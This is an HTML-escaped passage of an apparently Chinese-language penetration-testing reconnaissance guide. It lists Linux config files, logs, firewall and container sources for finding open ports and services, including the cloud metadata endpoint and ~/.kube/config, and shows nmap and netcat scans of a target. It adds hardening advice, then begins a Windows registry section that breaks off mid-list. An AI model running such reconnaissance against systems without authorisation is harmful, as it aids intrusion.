&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: Nginx的配置文件定义了服务器监听的端口和虚拟主机配置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;主配置: &lt;code&gt;/etc/nginx/nginx.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;站点配置: &lt;code&gt;/etc/nginx/sites-enabled/&lt;/code&gt; 或 &lt;code&gt;/etc/nginx/conf.d/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看Nginx监听的端口和处理的站点&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="52-apache-配置"&gt;5.2. Apache 配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: Apache的配置文件定义了服务器监听的端口和虚拟主机配置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;端口配置: &lt;code&gt;/etc/apache2/ports.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;站点配置: &lt;code&gt;/etc/apache2/sites-enabled/&lt;/code&gt; 或 &lt;code&gt;/etc/apache2/sites-available/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看Apache监听的端口和处理的站点&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="6-数据库服务配置"&gt;6. 数据库服务配置
&lt;/h2&gt;&lt;h3 id="61-mysqlmariadb"&gt;6.1. MySQL/MariaDB
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/mysql/my.cnf&lt;/code&gt; 或 &lt;code&gt;/etc/my.cnf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看数据库监听端口(默认3306)和绑定地址&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="62-postgresql"&gt;6.2. PostgreSQL
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/postgresql/*/main/postgresql.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看PostgreSQL监听端口和地址&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="63-redis"&gt;6.3. Redis
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/redis/redis.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看Redis监听端口(默认6379)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="64-mongodb"&gt;6.4. MongoDB
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/mongod.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看MongoDB监听端口(默认27017)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="7-其他网络服务配置"&gt;7. 其他网络服务配置
&lt;/h2&gt;&lt;h3 id="71-ssh-配置"&gt;7.1. SSH 配置
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看SSH监听端口(默认22,可能被修改)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="72-ftp-服务"&gt;7.2. FTP 服务
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vsftpd: &lt;code&gt;/etc/vsftpd.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ProFTPD: &lt;code&gt;/etc/proftpd/proftpd.conf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看FTP监听端口和配置&lt;/p&gt;
&lt;h3 id="73-samba"&gt;7.3. Samba
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看SMB/CIFS共享配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="8-防火墙配置"&gt;8. 防火墙配置
&lt;/h2&gt;&lt;h3 id="81-iptables"&gt;8.1. iptables
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 防火墙规则可以揭示哪些端口是开放的或被允许的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查看命令&lt;/strong&gt;: &lt;code&gt;iptables -L -n&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置文件路径&lt;/strong&gt;: &lt;code&gt;/etc/iptables/rules.v4&lt;/code&gt; 或 &lt;code&gt;/etc/sysconfig/iptables&lt;/code&gt;(取决于发行版)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看防火墙允许的端口和流量规则&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="82-ufw-uncomplicated-firewall"&gt;8.2. ufw (Uncomplicated Firewall)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查看命令&lt;/strong&gt;: &lt;code&gt;ufw status&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置文件路径&lt;/strong&gt;: &lt;code&gt;/etc/ufw/&lt;/code&gt; 目录下&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看防火墙允许的端口和服务&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="83-firewalld"&gt;8.3. firewalld
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查看命令&lt;/strong&gt;: &lt;code&gt;firewall-cmd --list-all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置文件路径&lt;/strong&gt;: &lt;code&gt;/etc/firewalld/&lt;/code&gt; 目录下&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看防火墙允许的服务和端口&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="9-systemd-服务管理"&gt;9. Systemd 服务管理
&lt;/h2&gt;&lt;h3 id="91-systemd-服务文件"&gt;9.1. Systemd 服务文件
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/systemd/system/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/lib/systemd/system/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看通过systemd管理的服务及其配置,可能包含端口信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="10-容器和虚拟化"&gt;10. 容器和虚拟化
&lt;/h2&gt;&lt;h3 id="101-docker"&gt;10.1. Docker
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/docker/daemon.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Docker容器信息: &lt;code&gt;docker ps&lt;/code&gt; (如果有权限)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看Docker端口映射和暴露的服务&lt;/p&gt;
&lt;h3 id="102-kubernetes-配置"&gt;10.2. Kubernetes 配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~/.kube/config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;服务配置: Kubernetes Service和Ingress定义&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看暴露的服务端口&lt;/p&gt;
&lt;h3 id="103-云提供商元数据服务"&gt;10.3. 云提供商元数据服务
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;访问&lt;/strong&gt;: 通常通过 &lt;code&gt;http://169.254.169.254/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 获取实例元数据,可能包含网络配置信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="11-系统日志文件"&gt;11. 系统日志文件
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/log/syslog&lt;/code&gt; 或 &lt;code&gt;/var/log/messages&lt;/code&gt;: 系统日志&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/log/auth.log&lt;/code&gt; 或 &lt;code&gt;/var/log/secure&lt;/code&gt;: 认证日志&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;: Apache访问日志&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/log/nginx/access.log&lt;/code&gt;: Nginx访问日志&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 可能包含连接尝试、服务启动信息等&lt;/p&gt;
&lt;h2 id="12-安全策略配置"&gt;12. 安全策略配置
&lt;/h2&gt;&lt;h3 id="121-selinux"&gt;12.1. SELinux
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/selinux/config&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查看命令&lt;/strong&gt;: &lt;code&gt;sestatus&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解安全策略,可能影响端口访问&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="122-apparmor"&gt;12.2. AppArmor
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/apparmor.d/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解应用程序安全配置文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="13-定时任务"&gt;13. 定时任务
&lt;/h2&gt;&lt;h3 id="131-cron-任务"&gt;13.1. Cron 任务
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/crontab&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/cron.d/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 可能包含定期执行的网络服务或端口扫描脚本&lt;/p&gt;
&lt;h2 id="14-应用程序特定配置"&gt;14. 应用程序特定配置
&lt;/h2&gt;&lt;h3 id="141-java-应用"&gt;14.1. Java 应用
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: &lt;code&gt;application.properties&lt;/code&gt; 或 &lt;code&gt;application.yml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="142-nodejs-应用"&gt;14.2. Node.js 应用
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: &lt;code&gt;package.json&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt; 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="143-python-应用"&gt;14.3. Python 应用
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: &lt;code&gt;settings.py&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt; 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="15-如何利用这些文件和服务获取信息"&gt;15. 如何利用这些文件和服务获取信息
&lt;/h2&gt;&lt;h3 id="151-手动查看"&gt;15.1. 手动查看
&lt;/h3&gt;&lt;p&gt;如果有对服务器的Shell访问权限，可以直接查看上述文件，以获取端口和服务信息。示例命令：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看 /etc/services
cat /etc/services
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="1511-查看进程"&gt;15.1.1. 查看进程
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ps aux
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看当前运行的进程,可以识别出哪些服务正在运行&lt;/p&gt;
&lt;h4 id="1512-查看监听端口"&gt;15.1.2. 查看监听端口
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo netstat -tuln
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo ss -tuln
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;输出示例&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp6 0 0 
22 
* LISTEN
tcp6 0 0 
80 
* LISTEN
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;说明&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0.0.0.0:22&lt;/code&gt; 表示SSH服务在所有接口的22端口监听&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0.0.0.0:80&lt;/code&gt; 表示HTTP服务在所有接口的80端口监听&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: 这些命令需要适当的权限(通常是root)才能查看所有监听端口&lt;/p&gt;
&lt;h4 id="1513-查看打开的文件和网络连接"&gt;15.1.3. 查看打开的文件和网络连接
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;lsof -i
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或查看特定端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;lsof -i :端口号
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 列出打开的网络连接和监听端口&lt;/p&gt;
&lt;h3 id="152-自动化工具"&gt;15.2. 自动化工具
&lt;/h3&gt;&lt;p&gt;使用自动化工具进行端口扫描和服务识别，可以更高效地获取服务器的开放端口和基本信息。- Nmap：强大的网络扫描工具，可以扫描目标服务器的开放端口、运行的服务及其版本。
示例命令：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -sV target_ip
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;：探测服务版本信息。&lt;/li&gt;
&lt;li&gt;Netcat (nc)：可以用于手动连接和探测端口。
示例命令：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc -zv target_ip 1-1000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-z&lt;/code&gt;：扫描模式，不发送数据。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;：详细输出。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="153-web-服务器信息泄露"&gt;15.3. Web 服务器信息泄露
&lt;/h3&gt;&lt;p&gt;有时候，Web服务器配置不当，可能会在网页响应头、错误页面或特定URL中泄露服务器信息，包括运行的服务、版本号和开放的端口。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;常见信息泄露点：- HTTP 响应头：如 &lt;code&gt;Server: Apache/2.4.41 (Ubuntu)&lt;/code&gt;，透露了Web服务器类型和版本。
&lt;ul&gt;
&lt;li&gt;错误页面：如404、500错误页面，可能包含服务器信息。&lt;/li&gt;
&lt;li&gt;特定URL：如 &lt;code&gt;/phpinfo.php&lt;/code&gt;、&lt;code&gt;/admin/&lt;/code&gt;等，可能泄露服务器配置。
注意：这些信息通常需要通过Web请求获取，而非直接查看服务器文件。&amp;mdash;## 3. 安全建议为了防止攻击者通过上述文件和服务获取服务器的敏感信息，建议采取以下安全措施：1. 限制文件访问权限：&lt;/li&gt;
&lt;li&gt;确保敏感配置文件（如 &lt;code&gt;/etc/hosts&lt;/code&gt;、&lt;code&gt;/etc/passwd&lt;/code&gt;等）的权限设置正确，避免不必要的读取权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;隐藏或移除敏感信息：
&lt;ul&gt;
&lt;li&gt;避免在Web应用的错误页面、响应头中泄露服务器信息。&lt;/li&gt;
&lt;li&gt;移除或禁用不必要的服务，减少攻击面。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;使用防火墙：
&lt;ul&gt;
&lt;li&gt;配置防火墙（如 &lt;code&gt;iptables&lt;/code&gt;、&lt;code&gt;ufw&lt;/code&gt;、&lt;code&gt;firewalld&lt;/code&gt;）仅允许必要的端口和流量，限制对管理端口（如SSH的22端口）的访问。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;定期更新和打补丁：
&lt;ul&gt;
&lt;li&gt;保持服务器操作系统和软件包的最新状态，修补已知的安全漏洞。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;使用安全配置：
&lt;ul&gt;
&lt;li&gt;遵循最小权限原则，仅运行必要的服务，使用强密码和密钥认证。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;监控和日志审计：
&lt;ul&gt;
&lt;li&gt;实施日志监控，及时发现异常访问和潜在的攻击行为。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="安全建议"&gt;安全建议
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;最小权限原则&lt;/strong&gt;: 限制对敏感配置文件的访问权限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期审计&lt;/strong&gt;: 定期检查开放的端口和运行的服务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防火墙配置&lt;/strong&gt;: 只开放必要的端口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日志监控&lt;/strong&gt;: 监控异常的访问尝试和配置文件访问&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件完整性监控&lt;/strong&gt;: 使用工具(如AIDE、Tripwire)监控关键配置文件的变化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;禁用不必要的服务&lt;/strong&gt;: 关闭不需要的网络服务以减少攻击面&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="windows服务器端口和基本信息侦察指南"&gt;Windows服务器端口和基本信息侦察指南
&lt;/h1&gt;&lt;p&gt;在Windows环境中进行渗透测试或安全评估时,了解目标服务器开放的端口和基本信息同样至关重要。Windows服务器通过注册表、配置文件和各种服务来管理网络配置。以下是Windows服务器上常见的文件、注册表项和服务,它们可能直接或间接地透露开放的端口和服务器的基本信息。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;参考：
&lt;a class="link" href="https://blog.csdn.net/NOWSHUT/article/details/127236823" target="_blank" rel="noopener"
 &gt;【2024/3/12 更新】Windows Server 2019 服务配置与管理汇总&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="1-系统基本信息"&gt;1. 系统基本信息
&lt;/h2&gt;&lt;h3 id="11-主机名和网络配置"&gt;1.1. 主机名和网络配置
&lt;/h3&gt;&lt;h4 id="111-计算机名称"&gt;1.1.1. 计算机名称
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;位置&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;注册表: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;文件: 可通过命令 &lt;code&gt;hostname&lt;/code&gt; 获取&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 获取服务器的计算机名称&lt;/p&gt;
&lt;h4 id="112-hosts-文件"&gt;1.1.2. Hosts 文件
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\drivers\etc\hosts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解本地DNS解析配置,可能揭示内部主机名和IP地址映射&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例内容&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;127.0.0.1 localhost
192.168.1.10 server1.domain.local
10.0.0.50 database.internal.com
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="113-networks-文件"&gt;1.1.3. Networks 文件
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\drivers\etc\networks&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 网络名称与网络地址的映射&lt;/p&gt;
&lt;h4 id="114-services-文件"&gt;1.1.4. Services 文件
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\drivers\etc\services&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 包含服务名称与端口号及协议的映射关系,类似Linux的 &lt;code&gt;/etc/services&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解常见Windows服务的默认端口&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例内容&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http 80/tcp
https 443/tcp
smb 445/tcp
rdp 3389/tcp
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="2-注册表中的网络配置"&gt;2. 注册表中的网络配置
&lt;/h2&gt;&lt;h3 id="21-tcpip-配置"&gt;2.1. TCP/IP 配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要键值&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Hostname&lt;/code&gt;: 主机名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Domain&lt;/code&gt;: 域名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NameServer&lt;/code&gt;: DNS服务器地址&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DhcpNameServer&lt;/code&gt;: DHCP分配的DNS服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看网络配置和DNS设置&lt;/p&gt;
&lt;h3 id="22-网络接口配置"&gt;2.2. 网络接口配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要键值&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IPAddress&lt;/code&gt;: 静态IP地址&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SubnetMask&lt;/code&gt;: 子网掩码&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DefaultGateway&lt;/code&gt;: 默认网关&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DhcpIPAddress&lt;/code&gt;: DHCP分配的IP地址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看每个网络接口的详细配置&lt;/p&gt;
&lt;h3 id="23-端口代理配置"&gt;2.3. 端口代理配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看配置的端口转发规则&lt;/p&gt;
&lt;h2 id="3-windows防火墙配置"&gt;3. Windows防火墙配置
&lt;/h2&gt;&lt;h3 id="31-防火墙规则"&gt;3.1. 防火墙规则
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;配置文件: &lt;code&gt;C:\Windows\System32\LogFiles\Firewall\pfirewall.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;注册表: &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PowerShell命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetFirewallRule&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Enabled&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;True&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetFirewallPortFilter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看防火墙允许的端口和服务&lt;/p&gt;
&lt;h3 id="32-windows-defender-防火墙配置文件"&gt;3.2. Windows Defender 防火墙配置文件
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Network\Connections\Pbk\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: VPN和远程连接配置&lt;/p&gt;
&lt;h2 id="4-iis-internet-information-services-配置"&gt;4. IIS (Internet Information Services) 配置
&lt;/h2&gt;&lt;h3 id="41-iis-配置文件"&gt;4.1. IIS 配置文件
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
